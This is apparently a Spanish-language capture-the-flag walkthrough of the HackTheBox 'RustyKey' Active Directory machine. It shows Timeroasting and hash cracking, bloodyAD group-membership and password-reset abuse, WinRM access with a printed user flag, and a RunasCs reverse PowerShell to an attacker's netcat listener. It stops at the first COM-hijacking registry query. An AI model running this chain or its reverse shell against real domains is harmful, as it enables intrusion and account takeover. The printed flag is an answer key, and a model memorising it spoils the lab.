RustyKey HackTheBox (Hard)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 15:56 PDT
Nmap scan report for 10.10.11.75
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-14 23:08:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49738/tcp open msrpc Microsoft Windows RPC
59660/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-14T23:09:35
|_ start_date: N/A
|_clock-skew: 11m33s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.93 secondsVeremos varios puertos, pero entre ellos los que mas nos interesan son el LDAP, WinRM, SMB, etc... tambien si nos vamos a la informacion de la maquina de HTB veremos que nos proporcionan unas credenciales como en un pentesting real.

User: rr.parker
Pass: 8#t5HE8L!W3AVemos un dominio en el reporte de namp llamado rustykey.htb y veremos que el DC se llama como tal DC, por lo que vamos añadir a nuestro archivo hosts lo siguiente:
nano /etc/hosts
#Dentro del nano
<IP> rustykey.htb dc.rustykey.htbLo guardamos y vamos a probar a realizar un poco de fuzzing por SMB a ver que vemos.
Pero tendremos antes que configurar la time zone con el del DC osea el del dominio como tal, esto se puede conseguir poniendo en cada comando que se vaya a utilizar la conexion del DC el ntpdate junto con el dominio, en este caso lo vamos a utilizar para obtener el TGT del usuario rr.parker ya que de normal las credenciales no van, requiere de autenticacion mediante kerberos con el TGT.
ntpdate rustykey.htb ; impacket-getTGT rustykey.htb/'rr.parker':'8#t5HE8L!W3A'Info:
2025-10-14 16:16:11.916372 (-0700) +734.500868 +/- 0.496514 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 734.500868
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in rr.parker.ccacheAhora nos exportaremos dicho archivo generado en la variable de kerberos para que nos funcione cuando vayamos a lanzar un comando autenticado por dicho usuario.
export KRB5CCNAME=rr.parker.ccacheEcho esto vamos a listar los recursos compartidos que tiene el usuario en SMB a ver si funciona ahora.
ntpdate rustykey.htb ; netexec smb dc.rustykey.htb -u rr.parker -p '8#t5HE8L!W3A' -k --sharesInfo:
2025-10-14 16:17:33.072222 (-0700) +7.633336 +/- 0.014220 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 7.633336
SMB dc.rustykey.htb 445 dc [*] x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB dc.rustykey.htb 445 dc [+] rustykey.htb\rr.parker:8#t5HE8L!W3A
SMB dc.rustykey.htb 445 dc [*] Enumerated shares
SMB dc.rustykey.htb 445 dc Share Permissions Remark
SMB dc.rustykey.htb 445 dc ----- ----------- ------
SMB dc.rustykey.htb 445 dc ADMIN$ Remote Admin
SMB dc.rustykey.htb 445 dc C$ Default share
SMB dc.rustykey.htb 445 dc IPC$ READ Remote IPC
SMB dc.rustykey.htb 445 dc NETLOGON READ Logon server share
SMB dc.rustykey.htb 445 dc SYSVOL READ Logon server shareVeremos que ha funcionado, pero no veremos nada interesante de recursos, por lo menos sabemos que la autenticacion funciona, por lo que vamos a descargarnos un ZIP de BloodHound para poder visualizar los privilegios de los usuarios y todo el árbol en general del AD.
ntpdate rustykey.htb ; bloodhound-python -u rr.parker -p '8#t5HE8L!W3A' -ns <IP> -c All -d rustykey.htb --zipInfo:
2025-10-14 16:23:18.581813 (-0700) +34.552617 +/- 0.013773 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 34.552617
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: rustykey.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.rustykey.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 16 computers
INFO: Connecting to LDAP server: dc.rustykey.htb
INFO: Found 12 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 10 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer: dc.rustykey.htb
INFO: Done in 00M 06S
INFO: Compressing output into 20251014162319_bloodhound.zipBloodHound
Ahora vamos a instalar BloodHound de forma rapida en un docker:
URL = Download BloodHound en Docker
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli installInfo:
..............................<RESTO DE INFO>......................................
Container bloodhound-graph-db-1 Creating
Container bloodhound-app-db-1 Creating
Container bloodhound-graph-db-1 Created
Container bloodhound-app-db-1 Created
Container bloodhound-bloodhound-1 Creating
Container bloodhound-bloodhound-1 Created
Container bloodhound-app-db-1 Starting
Container bloodhound-graph-db-1 Starting
Container bloodhound-app-db-1 Started
Container bloodhound-graph-db-1 Started
Container bloodhound-graph-db-1 Waiting
Container bloodhound-app-db-1 Waiting
Container bloodhound-graph-db-1 Healthy
Container bloodhound-app-db-1 Healthy
Container bloodhound-bloodhound-1 Starting
Container bloodhound-bloodhound-1 Started
[+] BloodHound is ready to go!
[+] You can log in as `admin` with this password: bnf8XsztC4Hypx6nMV5eSlhHpuDfEWgH
[+] You can get your admin password by running: bloodhound-cli config get default_password
[+] You can access the BloodHound UI at: http://127.0.0.1:8080/ui/loginAhora que esta importado en nuestro docker y levantado podremos acceder a el desde la siguiente URL.
URL = http://127.0.0.1:8080/ui/loginNos logueamos con las credenciales propocionadas por la herramienta, entrando nos pedira cambiar las credenciales y ya nos metera dentro:
User: admin
Pass: bnf8XsztC4Hypx6nMV5eSlhHpuDfEWgHUna vez dentro vamos a importar el .zip y tendremos que esperar un poco a que cargue todos los datos, despues cuando vayamos al dashboard principal veremos todos los datos, vamos a investigar el usuario rr.parker a ver que tiene.
Pero no veremos nada interesante de dicho usuario, despues de buscar informacion y estar un rato investigando, podemos probar una tecnica llamada Timeroasting, consiste en lo siguiente:
1. El objetivo debe ser una cuenta de equipo; las cuentas de usuario comunes no pueden ser atacadas directamente (a menos que "Target Timeroasting" modifique sus propiedades).
2. El controlador de dominio objetivo debe tener el servicio NTP ejecutándose y respondiendo con la autenticación extendida SNTP de Microsoft (MS-SNTP), con el puerto UDP 123 abierto.
3. El atacante puede enviar solicitudes MS-SNTP no autenticadas al controlador de dominio (sin credenciales válidas).
4. El atacante puede enumerar los RID (identificadores relativos) de las cuentas de equipo en el dominio.
5. (Opcional) Para "Target Timeroasting", se requieren privilegios de administrador de dominio para modificar temporalmente las propiedades de la cuenta de usuario y tratarla como una cuenta de equipo.
6. Las contraseñas de las cuentas de equipo en el dominio no están bien protegidas (por ejemplo, contraseñas débiles o no se cambian con regularidad).Vamos a listar los ususarios para tener algunos identificados antes.
ntpdate rustykey.htb ; netexec ldap dc.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --usersInfo:
2025-10-15 10:37:15.501040 (-0700) +73.415038 +/- 0.025996 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 73.415038
LDAP dc.rustykey.htb 389 DC [*] None (name:DC) (domain:rustykey.htb)
LDAP dc.rustykey.htb 389 DC [+] rustykey.htb\rr.parker:8#t5HE8L!W3A
LDAP dc.rustykey.htb 389 DC [*] Enumerated 11 domain users: rustykey.htb
LDAP dc.rustykey.htb 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP dc.rustykey.htb 389 DC Administrator 2025-06-04 15:52:22 0 Built-in account for administering the computer/domain
LDAP dc.rustykey.htb 389 DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP dc.rustykey.htb 389 DC krbtgt 2024-12-26 16:53:40 0 Key Distribution Center Service Account
LDAP dc.rustykey.htb 389 DC rr.parker 2025-06-04 15:54:15 0
LDAP dc.rustykey.htb 389 DC mm.turner 2024-12-27 02:18:39 0
LDAP dc.rustykey.htb 389 DC bb.morgan 2025-10-15 10:31:40 0
LDAP dc.rustykey.htb 389 DC gg.anderson 2025-10-15 10:31:40 0
LDAP dc.rustykey.htb 389 DC dd.ali 2025-10-15 10:31:40 0
LDAP dc.rustykey.htb 389 DC ee.reed 2025-10-15 10:31:40 0
LDAP dc.rustykey.htb 389 DC nn.marcos 2024-12-27 03:34:50 0
LDAP dc.rustykey.htb 389 DC backupadmin 2024-12-29 16:30:18 0Y con esto las computadoras del dominio.
ntpdate rustykey.htb ; netexec ldap dc.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --computersInfo:
LDAP dc.rustykey.htb 389 DC [*] None (name:DC) (domain:rustykey.htb)
LDAP dc.rustykey.htb 389 DC [+] rustykey.htb\rr.parker:8#t5HE8L!W3A
LDAP dc.rustykey.htb 389 DC [*] Total records returned: 16
LDAP dc.rustykey.htb 389 DC DC$
LDAP dc.rustykey.htb 389 DC Support-Computer1$
LDAP dc.rustykey.htb 389 DC Support-Computer2$
LDAP dc.rustykey.htb 389 DC Support-Computer3$
LDAP dc.rustykey.htb 389 DC Support-Computer4$
LDAP dc.rustykey.htb 389 DC Support-Computer5$
LDAP dc.rustykey.htb 389 DC Finance-Computer1$
LDAP dc.rustykey.htb 389 DC Finance-Computer2$
LDAP dc.rustykey.htb 389 DC Finance-Computer3$
LDAP dc.rustykey.htb 389 DC Finance-Computer4$
LDAP dc.rustykey.htb 389 DC Finance-Computer5$
LDAP dc.rustykey.htb 389 DC IT-Computer1$
LDAP dc.rustykey.htb 389 DC IT-Computer2$
LDAP dc.rustykey.htb 389 DC IT-Computer3$
LDAP dc.rustykey.htb 389 DC IT-Computer4$
LDAP dc.rustykey.htb 389 DC IT-Computer5$Timeroasting
Veremos algunos interesantes, pero de momento por conocimiento los dejaremos ahi sabiendo que son esos usuarios los que hay en el dominio, ahora vamos a poner en practica la tecnica Timeroasting.
URL = GitHub herramienta timeroast.py
git clone https://github.com/SecuraBV/Timeroast.git
cd Timeroast/
python3 timeroast.py dc.rustykey.htbInfo:
1000:$sntp-ms$00e753b5ef8d570096df028e1d732d4c$1c0111e900000000000a3c134c4f434cec9a0bb86857fd17e1b8428bffbfcd0aec9a5aeb9088fbbcec9a5aeb9089316c
1103:$sntp-ms$db045a296f31de58252dbe964fd77745$1c0111e900000000000a3c134c4f434cec9a0bb86aeec7c9e1b8428bffbfcd0aec9a5aec3b0f6e32ec9a5aec3b0f99d0
1104:$sntp-ms$abebd502023e903ecc480702e1f07670$1c0111e900000000000a3c134c4f434cec9a0bb8689a5805e1b8428bffbfcd0aec9a5aec3c920550ec9a5aec3c9235f8
1105:$sntp-ms$4807df7ade772dd37bc9e808f98e058b$1c0111e900000000000a3c134c4f434cec9a0bb86a6f8924e1b8428bffbfcd0aec9a5aec3e673167ec9a5aec3e6768c4
1106:$sntp-ms$5185accae5ec60a304186d895746d6c4$1c0111e900000000000a3c134c4f434cec9a0bb868189bd8e1b8428bffbfcd0aec9a5aec4028d0d9ec9a5aec40291aab
1107:$sntp-ms$9c2d56ee66956f9efb2f396ff122b92d$1c0111e900000000000a3c134c4f434cec9a0bb869a06713e1b8428bffbfcd0aec9a5aec41b0a980ec9a5aec41b0d6cd
1118:$sntp-ms$5d4d7479161f58dec8e96d5dda55a2ff$1c0111e900000000000a3c134c4f434cec9a0bb8682b536ae1b8428bffbfcd0aec9a5aec505c5c21ec9a5aec505c8465
1119:$sntp-ms$6caab31558a530400ff88a58c6a9fe0c$1c0111e900000000000a3c134c4f434cec9a0bb869e9aa53e1b8428bffbfcd0aec9a5aec521a9b8cec9a5aec521ae3b1
1120:$sntp-ms$e3052af7c52ed0c599370da866331b78$1c0111e900000000000a3c134c4f434cec9a0bb86b6c24ece1b8428bffbfcd0aec9a5aec539d2036ec9a5aec539d6352
1121:$sntp-ms$732f0346d2a229525a05f3a63c45fa77$1c0111e900000000000a3c134c4f434cec9a0bb8697219f8e1b8428bffbfcd0aec9a5aec557a1214ec9a5aec557a588b
1122:$sntp-ms$478ffe349593b4032fe328b31a52a34e$1c0111e900000000000a3c134c4f434cec9a0bb86b0b5096e1b8428bffbfcd0aec9a5aec57135115ec9a5aec57138f28
1123:$sntp-ms$be794ecadcf15aff80abb49dd3f6421b$1c0111e900000000000a3c134c4f434cec9a0bb868601bc9e1b8428bffbfcd0aec9a5aec5880c8e8ec9a5aec5880ea76
1124:$sntp-ms$d08d5b92cc4203de2960b87db1734b0a$1c0111e900000000000a3c134c4f434cec9a0bb869e4c1b6e1b8428bffbfcd0aec9a5aec5a055fbbec9a5aec5a05956b
1125:$sntp-ms$96d19e3d81b823ba8856ef4aaff4802b$1c0111e900000000000a3c134c4f434cec9a0bb869e716fae1b8428bffbfcd0aec9a5aec5a07bf11ec9a5aec5a07e3fa
1126:$sntp-ms$c5f944230b38586b42af4b28e03b6cb3$1c0111e900000000000a3c134c4f434cec9a0bb86b6adc16e1b8428bffbfcd0aec9a5aec5b8b7366ec9a5aec5b8bae1e
1127:$sntp-ms$d1093924f083dd86ae2afc8360abc1cc$1c0111e900000000000a3c134c4f434cec9a0bb869202b18e1b8428bffbfcd0aec9a5aec5d17da11ec9a5aec5d18090bVeremos que nos ha sacado unos cuantos hashes de forma correcta, por lo que vamos a probar a ver cuales podremos crackear con hashcat en la version BETA, de esta forma:
hashes.txt
........................<HASHES OBTENIDOS ANTERIORMENTE>...........................URL = Ultima version Hashcat BETA
./hashcat.bin -a 0 -m 31300 hashes.txt <WORDLIST>Info:
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-sandybridge-13th Gen Intel(R) Core(TM) i7-13620H, 2090/4181 MB (1024 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 16 digests; 16 unique digests, 16 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 514 MB (1523 MB free)
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$sntp-ms$96d19e3d81b823ba8856ef4aaff4802b$1c0111e900000000000a3c134c4f434cec9a0bb869e716fae1b8428bffbfcd0aec9a5aec5a07bf11ec9a5aec5a07e3fa:Rusty88!
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 31300 (MS SNTP)
Hash.Target......: ../hashes.txt
Time.Started.....: Wed Oct 15 10:46:50 2025 (18 secs)
Time.Estimated...: Wed Oct 15 10:47:08 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 13405.6 kH/s (0.34ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/16 (6.25%) Digests (total), 1/16 (6.25%) Digests (new), 1/16 (6.25%) Salts
Progress.........: 229510160/229510160 (100.00%)
Rejected.........: 0/229510160 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:15 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: kristenanne -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 47%
Started: Wed Oct 15 10:46:34 2025
Stopped: Wed Oct 15 10:47:09 2025Veremos que ha funcionado y nos saca una contraseña solamente llamada Rusty88!, y si comparamos ese hash con la informacion que obtuvimos en la tecnica de Timeroasting veremos que se corresponde con el SID terminado en 1125 por lo que nos iremos a BloodHound y filtraremos por dicho RID del SID obtenido para saber el usuario que es.
Escalate user BB.MORGAN
Si buscamos por 1125 en el buscador de BloodHound nos aparecera este equipo con dicho identificador:

Y este equipo tiene estos privilegios asociados de AddSelf al grupo llamado HELPDESK.

Con estos privilegios y sabiendo que tenemos la contraseña de dicho equipo, podremos utilizar su autenticacion aprovechando estos privilegios respecto a dicho grupo.
Y desde ese grupo vemos que tenemos estos privilegios a estos usuarios del dominio:

Vamos a utilizar la herramienta bloodyAD para realizar todo esto, primero vamos añadirnos con la maquina IT-COMPUTER3 al grupo de HELPDESK ya que tenemos los privilegios para ello.
URL = GitHub Herramienta BloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD/
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txtAhora antes de ejecutar la herramienta, vamos a generar un TGT del equipo IT-COMPUTER3 para podernos autenticar desde kerberos y que no de error.
ntpdate rustykey.htb ; impacket-getTGT rustykey.htb/'IT-COMPUTER3':'Rusty88!'Info:
2025-10-15 11:13:16.526978 (-0700) +1.225498 +/- 0.013941 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 1.225498
/home/kali/Desktop/rustykey/bloodyAD/.venv/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in IT-COMPUTER3.ccacheVamos a exportar la variable de kerberos para que podamos autenticarnos.
export KRB5CCNAME=IT-COMPUTER3.ccacheUna vez echo esto, en el archivo de kerberos vamos añadir el dominio de la maquina victima para que no haya problemas con el KDC del DC del AD.
sudo tee -a /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = RUSTYKEY.HTB
[realms]
RUSTYKEY.HTB = {
kdc = dc.rustykey.htb
admin_server = dc.rustykey.htb
}
[domain_realm]
.rustykey.htb = RUSTYKEY.HTB
rustykey.htb = RUSTYKEY.HTB
EOFUna vez añadido, vamos a ejecutar la herramienta de esta forma:
ntpdate rustykey.htb ; python3 bloodyAD.py -d rustykey.htb -u IT-COMPUTER3 -k --host dc.rustykey.htb add groupMember HELPDESK 'CN=IT-Computer3,OU=Computers,OU=IT,DC=rustykey,DC=htb'Info:
2025-10-15 11:17:15.917363 (-0700) +3.081702 +/- 0.016037 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 3.081702
[+] CN=IT-Computer3,OU=Computers,OU=IT,DC=rustykey,DC=htb added to HELPDESKAhora podremos forzar el cambio de contraseñas de dichos usuarios que vimos antes, pero el que mas nos interesa es el de BB.MORGAN que tiene lo siguiente:

Veremos que esta dentro de un grupo antes llamado PROTECTED OBJECTS si intentamos cambiarle la contraseña veremos que no nos deja por alguna proteccion de este grupo, por lo que vamos a eliminarle de este grupo y posteriormente cambiarle la contraseña, ya despues de eso veremos que esta en el grupo REMOTE MANAGEMENT USERS por lo que nos podremos conectar por WinRM con dicho usuario.
Eliminación del grupo PROTECTED OBJECTS
ntpdate rustykey.htb ; python3 bloodyAD.py -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' remove groupMember 'PROTECTED OBJECTS' 'IT'Info:
2025-10-15 11:31:34.757410 (-0700) +4.147917 +/- 0.014059 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 4.147917
[+] IT removed from PROTECTED OBJECTSCambio de contraseña del usuario BB.MORGAN
ntpdate rustykey.htb ; python3 bloodyAD.py -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password bb.morgan 'P@ssw0rd!'Info:
2025-10-15 11:37:24.005034 (-0700) +0.944120 +/- 0.013643 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 0.944120
[+] Password changed successfully!Con esto veremos que cambiamos la contraseña del usuario BB.MORGAN de forma correcta por lo que vamos a solicitar el TGT del usuario con esta nueva contraseña.
ntpdate rustykey.htb ; impacket-getTGT rustykey.htb/'bb.morgan':'P@ssw0rd!'Info:
2025-10-15 11:39:52.365273 (-0700) +14.837275 +/- 0.013892 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 14.837275
/home/kali/Desktop/rustykey/bloodyAD/.venv/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in bb.morgan.ccacheAhora exportaremos la variable de kerberos de esta forma:
export KRB5CCNAME=bb.morgan.ccacheY con esto ya nos podremos conectar con dicho usuario por WinRM utilizando la autenticacion de kerberos.
Evil-winrm
evil-winrm -i dc.rustykey.htb -u bb.morgan -r RUSTYKEY.HTBInfo:
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: User is not needed for Kerberos auth. Ticket will be used
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> whoami
rustykey\bb.morganVeremos que ya estaremos dentro con dicho usuario, por lo que vamos a leer la flag del usuario.
user.txt
87ad4335f67304b8a6bd5e302ccf4e84Escalate user EE.REED
Si listamos el Desktop de dicho usuario veremos a parte de la flag este archivo PDF bastante interesante.
Directory: C:\Users\bb.morgan\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/4/2025 9:15 AM 1976 internal.pdf
-ar--- 10/15/2025 5:02 AM 34 user.txtNos lo vamos a descargar con la utilidad download del propio evil-winrm.
download internal.pdfInfo:
Info: Downloading C:\Users\bb.morgan\Desktop\internal.pdf to internal.pdf
Info: Download successful!Ahora si nos vamos a nuestra maquina atacante, veremos que esta nuestro archivo PDF vamos abrirlo a ver que contiene.
open internal.pdfInfo:
Internal Memo
From: bb.morgan@rustykey.htb
To: support-team@rustykey.htb
Subject: Support Group - Archiving Tool Access
Date: Mon, 10 Mar 2025 14:35:18 +0100
Hey team,
As part of the new Support utilities rollout, extended access has been temporarily granted to allow
testing and troubleshooting of file archiving features across shared workstations.
This is mainly to help streamline ticket resolution related to extraction/compression issues reported
by the Finance and IT teams. Some newer systems handle context menu actions differently, so
registry-level adjustments are expected during this phase.
A few notes:
- Please avoid making unrelated changes to system components while this access is active.
- This permission change is logged and will be rolled back once the archiving utility is confirmed
stable in all environments.
- Let DevOps know if you encounter access errors or missing shell actions.
Thanks,
BB Morgan
IT Department
Page 1Esto significa que el grupo SUPPORT tiene el derecho de modificar el registro y puede probar funciones relacionadas con la compresión/descompresión.
Si investigamos este grupo en BloodHound veremos lo siguiente:

Vemos que el usuario EE.REED pertenece a dicho grupo y recordemos que desde el usuario IT-COMPUTER3 perteneciendo al grupo de HELPDESK podemos forzar le cambio de contraseña a dicho usuario, por lo que vamos ha realizar lo siguiente.
ntpdate rustykey.htb ; python3 bloodyAD.py -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password ee.reed 'P@ssw0rd!'Info:
2025-10-15 12:18:51.999577 (-0700) +3.851476 +/- 0.015355 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 3.851476
[+] Password changed successfully!Ahora habiendo cambiado la contraseña, vamos a solicitar un TGT de dicho usuario para tenerlo guardado de esta forma, pero nos dara error y esto puede ser por que tambien esta dentro del grupo PROTECTED OBJECTS, por lo que vamos a eliminarlo de esta forma:
ntpdate rustykey.htb ; python3 bloodyAD.py -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'Info:
2025-10-15 12:24:52.569627 (-0700) +22.714649 +/- 0.014279 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 22.714649
[+] SUPPORT removed from PROTECTED OBJECTSAhora si solicitamos el TGT de nuevo:
ntpdate rustykey.htb ; impacket-getTGT rustykey.htb/'ee.reed':'P@ssw0rd!'Info:
2025-10-15 12:25:13.429701 (-0700) +0.611923 +/- 0.014122 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 0.611923
/home/kali/Desktop/rustykey/bloodyAD/.venv/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ee.reed.ccacheVeremos que si nos deja, rapidamente vamos a descargarnos la herramienta RunasCs.exe para poder obtener una shell como dicho usuario.
URL = Download RunasCs.exe ZIP GitHub
Una vez descargado el .zip del RunasCs vamos a descomprimirlo.
unzip RunasCs.zipInfo:
Archive: RunasCs.zip
inflating: RunasCs.exe
inflating: RunasCs_net2.exeAhora desde la shell vamos a descargarnos el RunasCs.exe llendo al directorio Downloads de nuestra carpeta de usuario para que podamos utilizarlo.
cd C:/Users/bb.morgan/Downloads/
upload RunasCs.exeInfo:
Info: Uploading /home/kali/Desktop/rustykey/bloodyAD/RunasCs.exe to C:\Users\bb.morgan\Downloads\RunasCs.exe
Data: 68948 bytes of 68948 bytes copied
Info: Upload successful!Ahora si desde una shell de Windows poniendo shell en el meterpreter...
Pero antes nos pondremos a la escucha:
nc -lvnp <PORT>Ahora si enviamos este comando...
.\RunasCs.exe ee.reed 'P@ssw0rd!' powershell.exe -r <IP>:<PORT>Info:
[*] Warning: User profile directory for user ee.reed does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The logon for user 'ee.reed' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-20b7ac4$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 8460 created in background.Ahora si volvemos a donde tenemos la escucha:
listening on [any] 7777 ...
connect to [10.10.14.79] from (UNKNOWN) [10.10.11.75] 60836
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
rustykey\ee.reedVeremos que ha funcionado, por lo que seremos dicho usuario.
Escalate user MM.TURNER
Ahora siendo dicho usuario recordemos que estamos en el grupo SUPPORT el cual puede modificar el registro y funciones relacionadas con la compresión/descompresión.
COM Hijacking
Vamos a Identificar COM objects usados por aplicaciones privilegiadas de esta forma:
Get-ItemProperty "Registry::HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}\InprocServer32" -Name "(default)"Info:
(default) : C:\Windows\system32\zipfldr.dll
